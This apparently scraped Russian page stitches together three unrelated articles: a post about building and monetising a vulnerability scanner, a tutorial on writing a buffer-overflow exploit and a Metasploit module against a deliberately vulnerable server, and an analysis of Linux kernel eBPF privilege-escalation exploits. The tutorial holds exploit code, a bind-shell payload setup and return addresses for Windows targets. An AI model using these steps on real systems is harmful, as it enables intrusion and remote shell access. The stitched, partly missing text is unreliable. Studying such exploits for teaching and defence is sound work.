на каком языке пишутся эксплойты
Как написать сканер уязвимостей и зарабатывать на эксплойтах
TLDR: О том как я уволился с работы безопасника и написал свой сканер уязвимостей.
И как на этом можно заработать. В конце куски кода сканера и спецификация.
Кто и что взламывает
В 1970х, давным-давно, интернет выглядел вот так.
Основную угрозу ему представляли исследователи и энтузиасты первыми добравшиеся до документации и сетей крупных корпораций.
С тех пор интернет сильно изменился. Атаки на сети, сервисы и веб-приложения стали повседневностью. Каждый день разработчики и исследователи находят десятки уязвимостей. Параллельно с этим взламываются десятки тысяч сайтов.
Это хорошо видно на карте атак Лаборатории Касперского. Она отображает срабатывания IDS, сканирования уязвимостей и атаки ботнетов. Выглядит карта как такая красивая картина и на ней миллионы атак в день только по России.
Киберпрестуступностью занимаются не любители, а организованные группы в десятки человек. Они делают это не из интереса. Это бизнес. Они не ребята в черных капюшонах пишущие «чОрный к0д» ночью перед монитором. Это себе социально активные люди работающие в офисах в разных странах мира.
Моя карьера сложилась так, что несколько лет я отвечал за безопасность сетевого периметра и защиту веб-приложений. О том, во что вылились мои переживания того периода, я расскажу в этой статье.
Если вы работаете\работали в телекоме, банке, провайдере или вы разработчик в большой компании, а особенно, если вы безопасник, то вы знаете, что безопасность в компании, у которой больше 10-15 сайтов — это треш, ад, погибель.
Давайте попробуем улучшить ситуацию. Говорят, что безопасность это процессы.
И процессов много.
Кратко их перечислю:
Перечисленные виды в статье рассматривать не будем, ура.
Их много, и польза варьируется от размера организации, видов активов и их критичности.
Мы поговорим о процессе, который будет приносить пользу даже для малого бизнеса.
От интернет-магазина с сотней тысяч рублей выручки, до огромной корпорации с десятками дата-центров.
Обнаружение уязвимостей
Для того, чтобы понять какие есть способы нас взломать, давайте посмотрим на себя глазами злоумышленника.
Анализ защищенности состоит из нескольких этапов. Для каждого этапа приведу базовый набор утилит которыми можно воспользоваться.
Круто
Окей, круто. У нас есть способ и инструменты для того, чтобы проверить 1 сайт.
На проверку + разбор одного сервиса уйдет несколько дней, чтобы разобраться досконально — неделя и больше.
Не круто
Проблема в том, что у нас может быть не один сервис. А например /20 подсеть.
4096 адресов. На каждом может быть 65535 сервисов. Не круто.
Да, существуют автоматизированные решения. Qualys, Acunetix, Nessus, есть и отечественные вендоры. Разбор того, чем они хороши и плохи, предлагаю оставить для другой статьи.
Они не решали моих задач. Решил, что надо это исправить. Уволился с работы и примерно год у нас с товарищами ушел на разработку.
Как написать сканер уязвимостей
Начнем с требований к системе которую мы хотели получить:
Пользователи — владельцы больших сетевых диапазонов, то есть те, у кого 10 и больше веб-приложений.
Нужно обеспечить ежедневное параллельное сканирование на веб-уязвимости, слабые пароли, ошибки конфигураций и показывать выходящие эксплойты для сотен ip и веб-сайтов.
Для этого используем горизонтально-масштабируемую систему. В неё можно «на лету» добавлять новые ноды и новые типы сканеров. Сейчас сканер использует 7 нод и разделен на 2 взаимодействующие локации в Германии и США. Если интересно, мы напишем про это в другой статье.
Думали о том как написать такой сканер. Поняли, что писать с нуля такую систему имеет мало смысла. Требовался огромный опыт и понимание разных платформ, своя база сетевых фингерпринтов, своя база CVE и эксплойтов к ним и целая огромная система, посвященная анализу защищенности веб-приложений.
Там, где лицензия продуктов это позволяет, решили использовать опенсорсные наработки. Есть компоненты, с закрытым исходным кодом, но свободные для коммерческого использования. Есть достаточно много самописного и форки опенсорсных проектов.
Итак, у нас порядка 20 различных приложений, которые представляют из себя компоненты необходимые для покрытия L3-L7 уровней для автоматизированного пентеста.
Интерфейс для сканера
Каждый скрипт, PoC сплойт или бинарник принимают на вход разные параметры для запуска сканирования. Не очень удобно. Хотелось получить унифицированный формат для запуска любого возможного сканера.
Задумались, что нужно знать любому возможному сканеру чтобы идентифицировать цель. Составили таблицу.
Тип проверки | Входные данные |
---|---|
Интеграция с базами эксплойтов и CVE | Вендор: Продукт: Версия (CPE) |
PoC эксплойт для сервиса | IP, порт, CVE |
Брутилка | IP, порт, протокол прикладного уровня |
Сканер CMS | Домен, порт |
Cканер веб-уязвимостей | Домен или IP, порт |
PoC веб-уязвимости | URI |
Сканер портов | IP |
После первичной проверки nmap и плагином который обращается к CVEdetails для каждого хоста мы получаем набор таких объектов. Мы называем их Metadata.
Для каждого порта по Target мы получаем набор таких метаданных. Теперь нужно понять, какие из наших сканеров хотят поработать с такой целью.
У всех сканеров есть родитель — ScanManager, который делает элегантно:
Берет все сервисы и для каждого из них проверяет все возможные сканеры.
Каждый сканер предоставляет функцию, которая определяет, хочет ли он работать с таким Target.
Поговорим о том, что представляет из себя Сканер.
Рассматривали три варианта:
Но мы очень ленивые и поняли, что в случае первых двух вариантов помимо самих сканеров понадобится еще какая-то инфраструктура для деплоя, написание RPC, отлов багов этого RPC. Плюс мы хотели писать все на Python.
Попробовали несколько решений. Посмотрели на похожие проекты по управлению сканерами, такие как Яндексовая Molly и Minion от Mozilla. Посмотрели на то как устроена работа w3af, Zap. У Burp очень интересная plugin architecture.
Решили что каждый сканер должен быть реализован в виде сериализуемой функции на питоне. Это позволит хранить их прямо в rabbit-mq, быстро доставлять на разные ноды, атомарно выполнять. Мы можем добавлять новые сканеры без необходимости собирать и деливерить приложения. По факту мы получили сервис для распределенного и асинхронного выполнения функций на питоне.
Формат Сканеров
Сканер запускаемый на нашей платформе должен быть объектом, унаследованным от базового класса Scanner.
Любой сканер должен принимать на вход объект типа Metadata и возвращать объекты типа Vulnerability.
Формат уязвимостей
Следующей задачей, которая стояла перед нами — создать унифицированный формат в котором мы можем хранить вывод любого сканера. Будь то веб-комбайн, брутилка директорий или PoC эксплойт для memcached.
Мы решили не городить своих форматов, а воспользоваться индустриальным стандартом — форматом CVE. Мы обогатим CVE метаданными нашей уязвимости для удобства хранения и поиска. Для хранения сканер-специфичных данных добавим поле body. То, какие ключи из body должны быть отображены в веб-интерфейсе, определяется Scanner.
Постарались дать авторам сканеров максимум свободы в реализации.
И предлагаем вам поучаствовать в разработке.
Как зарабатывать на эксплойтах.
Мы хотим, чтобы у людей, которые интересуются безопасностью, у авторов утилит и скриптов, исследователей, была возможность абсолютно легально монетизировать результаты своей работы.
Будем выплачивать вознаграждения авторам модулей на ежемесячной основе и объявляем приём модулей до 30го ноября.
Тестировать мы их будем путем прогона по нашей клиентской базе в более чем 2000 сайтов и подсчете количества детектов.
Авторы первых трех сканеров по количеству найденных уязвимостей получат:
А также предложим предложим им заключить договора и получать награду за использование их сканеров ежемесячно, до тех пор, пока они будут находить уязвимости.
После ноября расширим программу приема сканеров.
Фабрика сплоитов: учимся писать эксплоиты для Metasploit Framework
Содержание статьи
Откуда берутся сплоиты? Задумывался ли ты, каким образом тусклая новость из
багтрака превращается в реально работающую отмычку? Каким образом двумя десяткам
строчек кода удается получить шелл на удаленном сервере? Сегодня мы посетим
фабрику сплоитов и во всех подробностях посмотрим, как изготавливается
качественное изделие.
Сплоит – что же это за зверь
такой диковинный? По сути, это программа, написанная с целью использования
уязвимости – в ОС, обычной программе или веб-приложении. Он может представлять
из себя что угодно – программку на С/С++ (Delphi, Asm), скриптик на Perl или PHP,
или даже находиться внутри картинки, но главное, что он влияет на уязвимую
систему и заставляет ее работать так, как она не запрограммирована. Удаленный
эксплоит работает через сеть и использует уязвимость без какого-либо
предварительного доступа к уязвимой системе. Локальные же сплоиты запускаются
непосредственно в уязвимой системе, требуя предварительного доступа к ней и
обычно используются для повышения привилегий.
Сплоиты можно разделить по типу используемой уязвимости: переполнение буфера,
SQL-инъекция, межсайтовый скриптинг и т.д. Короче говоря, разновидностей бывает
много и каждая из них отличается как техникой исполнения, так и своей целью. Но
есть в них одно общее – все они содержат код, выполняющий задуманные хакером
действия. Этот код называют: байт-код, шелл-код (так как очень часто этот код
предоставляет доступ к шеллу на удаленной системе), полезной (боевой) нагрузкой
(payload). Написание такого кода – целое искусство. Если хочешь разобраться в
этой области, советую начать со статьи Step’а «Откуда
берутся шеллкоды». Мы же рассмотрим процесс написания эксплоита, а шелл-код
возьмем уже готовый из пакета Metasploit.
Пишем жертву для экспериментов
Убежден, что нет более наглядного способа продемонстрировать создание боевого
кода, чем на конкретном примере. Поэтому начнем с игры в горе-программистов и
наваяем небольшое серверное приложение, оставив в нем критическую уязвимость,
которую и будет эксплуатировать. Приложение будет принимать подключения на
определенном порту: как только придет некоторый пакет, будет вызываться функция,
выполняющая некоторые действия с полученными данными, после чего приложение
завершается. Скелет приложения приведен ниже:
void pr( char *str)
<
char buf[500]=»»;
strcpy(buf,str); // вот и сама уязвимость, собственной персоной
>
int main(int argc, char **argv)
<
.
int bytesRecv = SOCKET_ERROR;
while( bytesRecv == SOCKET_ERROR )
<
//Получаем данные, отправленные клиентом
bytesRecv = recv( clientSocket, Message, 5000, 0 );
if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET )
<
printf( «\nConnection Closed.\n»);
break;
>
>
pr(Message); // вызываем функцию, которая не проверяет длину входного буфера при
копировании
closesocket(clientSocket);
closesocket(serverSocket);
WSACleanup();
return 0;
>
PUSH EDI // кладем в стек указатель, на буфер, который будем копировать
(*str)
CALL Server._pr // вызываем функцию pf
После вызова CALL стек будет выглядеть следующим образом:
Под переменную buf у нас выделено 500 байт. А что будет, если скопировать
туда строку длиннее?
Как видишь, такая строка затрет EBP, адрес возврата и все, что расположено
ниже по стеку – перезапиши адрес возврата нужным нам значением и тогда при
выходе из функции мы можем вернуться, куда захотим, например, на наш шелл-код.
Правда, стоит сделать поправку: уязвимости может и не быть. В смысле, от
такой критической ошибки, конечно, никуда не деться, и программа в любом случае
будет падать, однако использовать переполнение в сплоите может и не получиться.
Виной тому стековые куки – специальная защита, включаемая в бинарник
компилятором во время сборки приложения. Существует несколько способов обхода
такой защиты (подробнее – смотри ниже), но сейчас для простоты примера
предположим, что стековые кукисы отключены. Поэтому либо отключаем поддержку
кукисов во время компиляции в Visual Studio, либо используем компилятор, который
вообще не умеет встраивать подобную защиту. Второй вариант, как мне кажется,
проще – так как можно использовать бесплатный компилятор
lccwin32.
Компилируем и запускаем.
Убить наповал!
Сервер работает ровно до тех пор, пока ему не придет строка, состоящая более
чем из 500 символов. В противном случае – непременно вылет приложения. Набросаем
небольшой скриптик на Perl’е для эксплуатации переполнения буфера:
print «[+] Payload sent\n»;
Используем Metasploit для разработки эксплоита
Символов в передаваемой строке 1000, все они одинаковые, поэтому
неудивительно, что в строке возврата появляется значение, состоящее из буквы A.
Но если составить строку, которая будет состоять из неповторяющихся
буквенно-числовых строк, то легко определить позицию тех символов, которые
попадают в адрес возврата. Генерацией такой строки как раз и занимается утилита,
входящая в состав Metasploit, pattern_gererate. В качестве единственного
обязательного параметра передается длина строки. Итак, создадим буфер длиной в
1000 символов для дальнейшего использования в нашем сплоите:
msf > ruby pattern_create.rb 1000
Aa0Aa1Aa2Aa3 [967 символов вырезано злым редактором] Bh0Bh1Bh2Bh
И заменяем строчку кода, отправляющую сформированную строку в сокет, на:
0040130B: CALL 00404351
[buf][ebp][ret][предыдущий стековый фрейм]
Нажимаем (перейти на следующую инструкцию) и отмечаем изменения в стеке:
[buf][ebp][ret][предыдущий стековый фрейм]
[AAAAAAAA][BBB][CCCCCCCC…]
Теперь взглянем на конец функции pf:
00401313 POP EDI
00401314 POP ESI
00401315 LEAVE
00401316 RETN
При вызове команды LEAVE происходит следующее:
MOV ESP, EBP //теперь в ESP содержится адрес [ebp]
POP EBP // в EBP заносится значение из [ebp] (эта область у нас перезаписана
символами «А», следовательно, EBP будет равен 41414141), ESP теперь указывает на
адрес возврата.
Переход к ESP – вполне обычное действие для виндовых приложений. Более того,
любое такое приложение использует, как минимум, одну системную DLL’ку, в которых
есть инструкции на любой вкус. Адреса в таких DLL’ках, как правило, статичны и
не изменяются! Получается, если найти инструкцию перехода на ESP (а это либо jmp
esp, либо push esp + ret, либо call esp), взять ее адрес и заменить им адрес
возврата, то на выходе из функции управление передастся на ESP – прямиком нашему
шелл-коду.
Осуществлять поиск будем с помощью полезной утилиты findjmp, входящей в
состав пакета тулз
MSF
eXploit Builder – он нам понадобится и позже. Прога ищет адрес команды call,
jmp, push + регистр и ret в dll или приложении. Наша программа работает с
сокетами, и значит, она будет использовать стандартную виндовую библиотеку
ws2_32.dll. Посмотрим, есть ли там интересующий нас опкод (то есть машинные
инструкции, соответствующие передаче управления на ESP). Запускаем с указанием,
во-первых, библиотеки для поиска, и, во-вторых, нужного регистра:
msf > use windows/shell_bind_tcp // будем использовать этот payload
msf payload(shell_bind_tcp) > set LPORT 5555 // устанавливаем значение порта на
удаленной машине
LPORT => 5555
Указываем, что надо избегать байтов ‘\x00\xff’, генерировать код для Perl’a и
сохранить полученные результаты в c:\\shellcode.bin:
Вот теперь, имея на руках шелл-код, настало время собрать полноценный
эксплоит. Единственное – нужно помнить несколько моментов:
Отправляемая серверу строка будем формироваться следующим образом:
Окончательно строка, отправляемая в сокет:
После чего пытаемся в сплоите установить соединение с удаленной машиной на
5555 порту, который мы указали при генерации шелл-кода:
Запускаем эксплоит и… о чудо, он работает! Протестировав эксплоит на
различных ОС (Windows XP SP3), можно увидеть, что значение смещения не меняется
— меняется только наш адрес возврата.
Эксплоит для Metasploit
Итак, у нас есть сплоит для конкретной платформы с вполне определенной
нагрузкой, открывающей в системе шелл. Так зачем нужна вообще какая-либо
специальная платформа для создания сплоита, если мы вполне обошлись силами
одного лишь Perl’а? Причина в том, что Metasploit предоставляет огромное
количество заготовок, реализаций различных протоколов, одну из самых больших баз
шелл-кодов, payload-ов, которые можно использовать при написании собственного
эксплоита. Вместо убогого скрипта на Perl’е можно написать модуль для Metasploit,
после чего запускать его на любой платформе и выбирать payload на свой вкус!
Чуешь разницу? Предлагаю прямо сейчас усовершенствовать наш сплоит, переписав
его для Metasploit, и посмотреть, как это работает. Само собой, он будет
обладать возможностью выбора платформы для атаки, а выбирать пейлоад ты сможешь
прямо во время исполнения атаки.
Любой эксплоит для Metasploit имеет фиксированную структуру, которая состоит
из объявления заголовочных файлов, подключения ядра msf/core, определения класса
эксплоита, в котором описывается его функциональность. Я не буду приводить здесь
полный исходник модуля, но выкладываю его на диске. Рекомендую для большей
ясности открыть его прямо сейчас и далее читать мое практически построчное
объяснение его кода.
Первое, с чего начинается любой сплоит, – это подключение ядра Metasploit
Framework:
Функциональность любого сплоита описывается с помощью класса, где его
настройки задаются с помощью параметров, а функциональность – с помощью методов.
Создаваемый объект наследуется от одного из предопределенных классов. Поскольку
мы создаем удаленный сплоит, то и наследуем наш объект от родительского класса
«Удаленный эксплоит». В синтаксисе Ruby это делается так:
Большая заслуга Metasploit в том, что он унифицирует большое количество
параметров и действий, позволяя использовать готовые конструкции вновь и вновь.
Первый элемент разрабатываемого класса – секция include, где мы подключаем
обработчик для нужного нам протокола. В Metasploit есть обработчики для http,
ftp и других протоколов, что позволяет быстрее писать эксплоиты, не
заморачиваясь с их собственной реализацией. Наш эксплоит использует
TCP-подключение, поэтому код будет выглядеть следующим образом:
Далее весь сплоит делится на два метода: метод инициализации, в котором мы
указываем информацию, необходимую для успешного выполнения эксплоита, и метод
эксплуатации, в котором мы отправляем на сервер ядовитую строку.
Начнем с инициализации. Параметр Payload задает длину ядовитого буфера и
недопустимые символы (в нашем случае – 0х00 и 0xff):
Далее определяем цели эксплоита и специфичные для каждой цели параметры,
такие как адрес возврата, смещение и т.д.:
‘Platform’ => ‘win’,
‘Targets’ =>
[
[‘Windows XP SP2 En’,
< 'Ret' =>0x0x71ab9372, ‘Offset’ => 504 > ],
[‘Windows 2003 Server R2 SP2’,
< 'Ret' =>0x71c02b67, ‘Offset’ => 504 > ],
def exploit
connect
junk = make_nops(target[‘Offset’])
sploit = junk + [target.ret].pack(‘V’) + make_nops(50) + payload.encoded
sock.put(sploit)
handler
disconnect
end
Вот и все, наш первый модуль для Metasploit готов! Чтобы его можно было
использовать, скопируем исходник в папку modules/exploits/test (если не нравится
test – можешь скопировать в windows/misc, например). Запускаем msfconsole и
работаем в интерактивной консоли Metasploit’а!
Эксплоит за 5 минут
Как видишь, разработать эксплоит для Metasplot не так сложно. Скорее даже
наоборот, ведь большая часть работы уже сделана за тебя. Взять хотя бы огромную
базу шелл-кодов – попробуй разработать свой. Но лени человеческой нет предела,
поэтому в стремлении еще больше упростить процесс был разработан пакет утилит
тебе MSF eXploit Builder. Программа имеет удобный графический интерфейс и
поможет по-настоящему быстро создавать новый модуль для Metasploit. Кроме
удобного GUI, eXploit Builder включает в себя целую кучу полезных тулз,
необходимых для отладки и тестирования эксплоитов. Более того – можно опять же
создавать с нуля, а портировать уже существующие сплоиты.
Запускаем MSF eXploit Builder, заходим в меню «Editor» и выбираем «New».
Появляется окно с несколькими вкладками (Information, Badchars, Analysis,
Shellcode, Design). Переходим на вкладку «Information» и видим много интересных
полей. Как ты помнишь, в этой секции указываются цели (OS + SP) и тип/протокол
эксплоита (например, remote/tcp). Более того, программа предоставляет нам
возможность тестирования и отладки полученного эксплоита, поэтому тут же можно
выбрать исполняемый файл и указать параметры для его запуска (порт, ip-адрес).
Итак, выбираем наш tftpd.exe, после чего утилита предложит следующие действия
на выбор: запустить приложение, запустить его под отладчиком или не запускать
вообще – просто запустим приложение. Обрати внимание, что справа сбоку
отобразится список загруженных приложением DDL’ек.
Теперь начинаем смотреть код сплоита – на наше счастье он предельно понятный.
Комментарий «Restricted chars = 0x00 0x6e 0x65 0x74» явно указывает на
запрещенные символы – что ж, выставим их в нашей программе. Для этого переходим
на вкладку Badchars и в одноименном поле вводим: \x00\x6e\x65\x74. Далее по коду
мы видим, как формируется ядовитый пакет:
Собственно, теперь у нас есть все для создания готового сплоита. Поэтому
нажимаем на кнопку «Generate» и любуемся кодом получившегося сплоита. Если
какие-то моменты вызывают сомнения, тут же можно отредактировать код вручную.
Классно, что возможно сразу проверить работоспособность кода – для этого смело
жмем кнопку «Test». И ведь – все работает! За 5 минут, которые ушли на
ознакомление с программой, и без всякого знания, как языка Ruby, так и структуры
Metasploit, мы создали полностью рабочий сплоит. Это дорогого стоит! В качестве
домашнего задания попробуй с помощью MSF eXploit Builder создать эксплоит для
нашего сервера :).
Заключение
Вот и закончилась наша экскурсия по фабрике эксплоитов. Знать, как устроены
сплоиты, полезно во многих отношениях. Не умея прочитать шелл-код в свежем
эксплоите или, вообще, запуская непонятный exe’шник, далеко не всегда можно
доверять его создателю. Многие сплоиты выпускаются в паблик с отсутствующими
частями и специально оставленными ошибками – это непременно остановит армию
скрипткидис, но для понимающего человека едва ли станет серьезной задачей.
Надеюсь, я сегодня убедил тебя, что ничего нереального в сплоитах нет: ведь
хакеры люди – логичные и понятные :).
Подробная информация об Metasploit API:
Блог Metasploit Framework:
Статья по доработке эксплоита:
Видео, показывающее, как создать Portable-версию Metasploit для размещения на
флешке:
WARNING
Информация представлена исключительно в ознакомительных целях, чтобы
показать, чего стоят критические уязвимости в коде и как злоумышленники могут их
использовать. Не повторяй эти действия в противозаконных целях. В противном
случае автор и редакция ответственности не несут!
Linux exploits
Операционная система Linux доказала миру всю силу Open Source проектов — благодаря ей у нас сегодня есть возможность заглянуть в исходный код рабочей ОС и на его основе собрать свою собственную систему для решения тех или иных задач. По причине своей открытости Linux должна была стать самой безопасной операционной системой в мире, так как открытый исходный код позволяет развивать и улучшать подсистемы защиты от атак на ОС и совершенствовать саму операционную систему. Действительно, на данный момент существует большое количество созданных комьюнити защит: сегодня уже не так просто проэксплуатировать уязвимости типа переполнения буфера для получения повышенных привилегий так же, как 20 лет назад. Тем не менее, сегодня можно в открытом доступе встретить эксплойты, которые даже на последних версиях ядра могут повысить привилегии пользователя. Рассмотрим в этой статье, как это работает и почему так получается. Мы пройдемся по основным составляющим эксплойтов и рассмотрим, как работают некоторые из них.
Вся предоставленная информация была собрана исключительно в ознакомительных целях.
Типы эксплойтов
Выберем общий термин, которым будем обозначать, что есть эксплойт — алгоритм, который нарушает нормальное функционирование операционной системы, а именно — механизмы разграничения доступа. Также введем понятие уязвимости — это несовершенство программного обеспечения, которое может быть использовано алгоритмом эксплойта. Без уязвимости существование эксплойта невозможно.
Введем классификацию эксплойтов. Базовое разделение эксплойтов на подгруппы для любой операционной системы начинается на уровне архитектуры. Сегодня операционные системы включают в себя как минимум 2 уровня привилегий, которые используют для своей работы. Ниже приведен рисунок, который наглядно показывает разделение привилегий. Картинка взята отсюда.
Картинка очень наглядно показывает, что в операционной системе присутствует уровень Ядра (Kernel Space), обычно это самый привилегированный режим, именно здесь находится то, что мы называем операционной системой. И второй уровень — Пользовательский (User Space): здесь запускаются обычные приложения и сервисы, которые мы используем каждый день.
Исторически сложилось, что для каждого из перечисленных выше уровней могут быть найдены уязвимости, для которых может быть создан эксплойт, но эксплойты для каждого из уровней имеют свои ограничения.
На пользовательском уровне любой эксплойт, который затрагивает приложение, будет иметь ровно те привилегии, которые использовал пользователь, который запустил уязвимое приложение. Поэтому такой вид эксплойтов позволяет получить полное управление над ОС только в случае запуска приложения администратором системы. В противоположность пользовательскому уровню, уровень ядра, если содержит уязвимый код, может сразу дать возможность управлять операционной системой с максимальными привилегиями. Ниже сфокусируемся на исследовании этих эксплойтов.
Эксплойты
Представим небольшую статистику по раскрытию уязвимостей для ядра операционной системы Linux дистрибутивов Debian, SUSE, Ubuntu, Arch Linux последних 4-х лет.
Данные взяты отсюда. Картина не претендует на полноту, но показывает, что уязвимостей достаточно много, и даже сегодня есть из чего выбирать для построения эксплойта. Давайте попробуем описать, что из себя представляет эксплойт.
Любой эксплойт для любого уровня операционной системы сегодня состоит из частей, которые должны быть имплементированы в его коде:
1) Выставление необходимого отображения памяти
2) Создание необходимых объектов в ОС
3) Обход механизмов защиты ОС для используемой уязвимости
Вызов уязвимой части ПО.
Выполняет полезную нагрузку:
1) Для открытия доступа к ОС
2) Для изменения конфигурации ОС
3) Для вывода ОС из строя
При выполнении всех пунктов, которые указаны выше, можно написать работоспособный эксплойт. Возьмем для исследования несколько эксплойтов прошлых лет и попробуем выяснить, можно ли найти какие-то закономерности или заимствования, которые используются для нарушения разграничений доступа в операционной системе Linux. В качестве объектов исследования возьмем эксплойты, которые используют следующие уязвимости с CVE идентификаторами:
Разбор эксплойтов
Как автор эксплойта использует данную уязвимость и какая выполняется полезная нагрузка, рассмотрим дальше.
Подготовительный этап
За этот этап отвечает следующая часть кода.
Вызов уязвимого кода
Полезная нагрузка
Обезопасить себя без обновления ОС можно, если внести следующие изменения в конфиг: sudo sysctl kernel.unprivileged_bpf_disabled=1
Эксплойт, который создан для того, чтобы использовать описанную уязвимость, выполняет те же операции, что и эксплойт CVE-2020-8835. Алгоритм эксплойта следующий:
Загрузить код с обработкой 64 битных операций в память
Создать сокет и отправить данные для вызова команд ebpf
Найти в памяти адрес структуры taskstruct за счет выполнения команд в виртуальной машине
Модифицировать значения uid,gid,sgid и запустить интерактивную оболочку.
Автор писал исходный код с новыми фишками и дополнительными функциями. Предлагаем читателю самостоятельно взглянуть на код. Перечисленные этапы работы эксплойта выше не дадут запутаться.
Защита от этой уязвимости без использования обновления такая же: sudo sysctl kernel.unprivileged_bpf_disabled=1
Что в итоге?
На основании двух эксплойтов, который были рассмотрены в статье, можно предположить, что повышение привилегий в современной ОС Linux — это больше не темная магия программирования, а вполне отлаженный шаблонный процесс, который включает в себя переиспользование функций и объектов в оперативной памяти. При этом даже не нужно писать базонезависимый (shellcode) код, который будет выполнять большую часть действий. Достаточно просто изменить идентификаторы, которые используются для назначения привилегий для пользователей.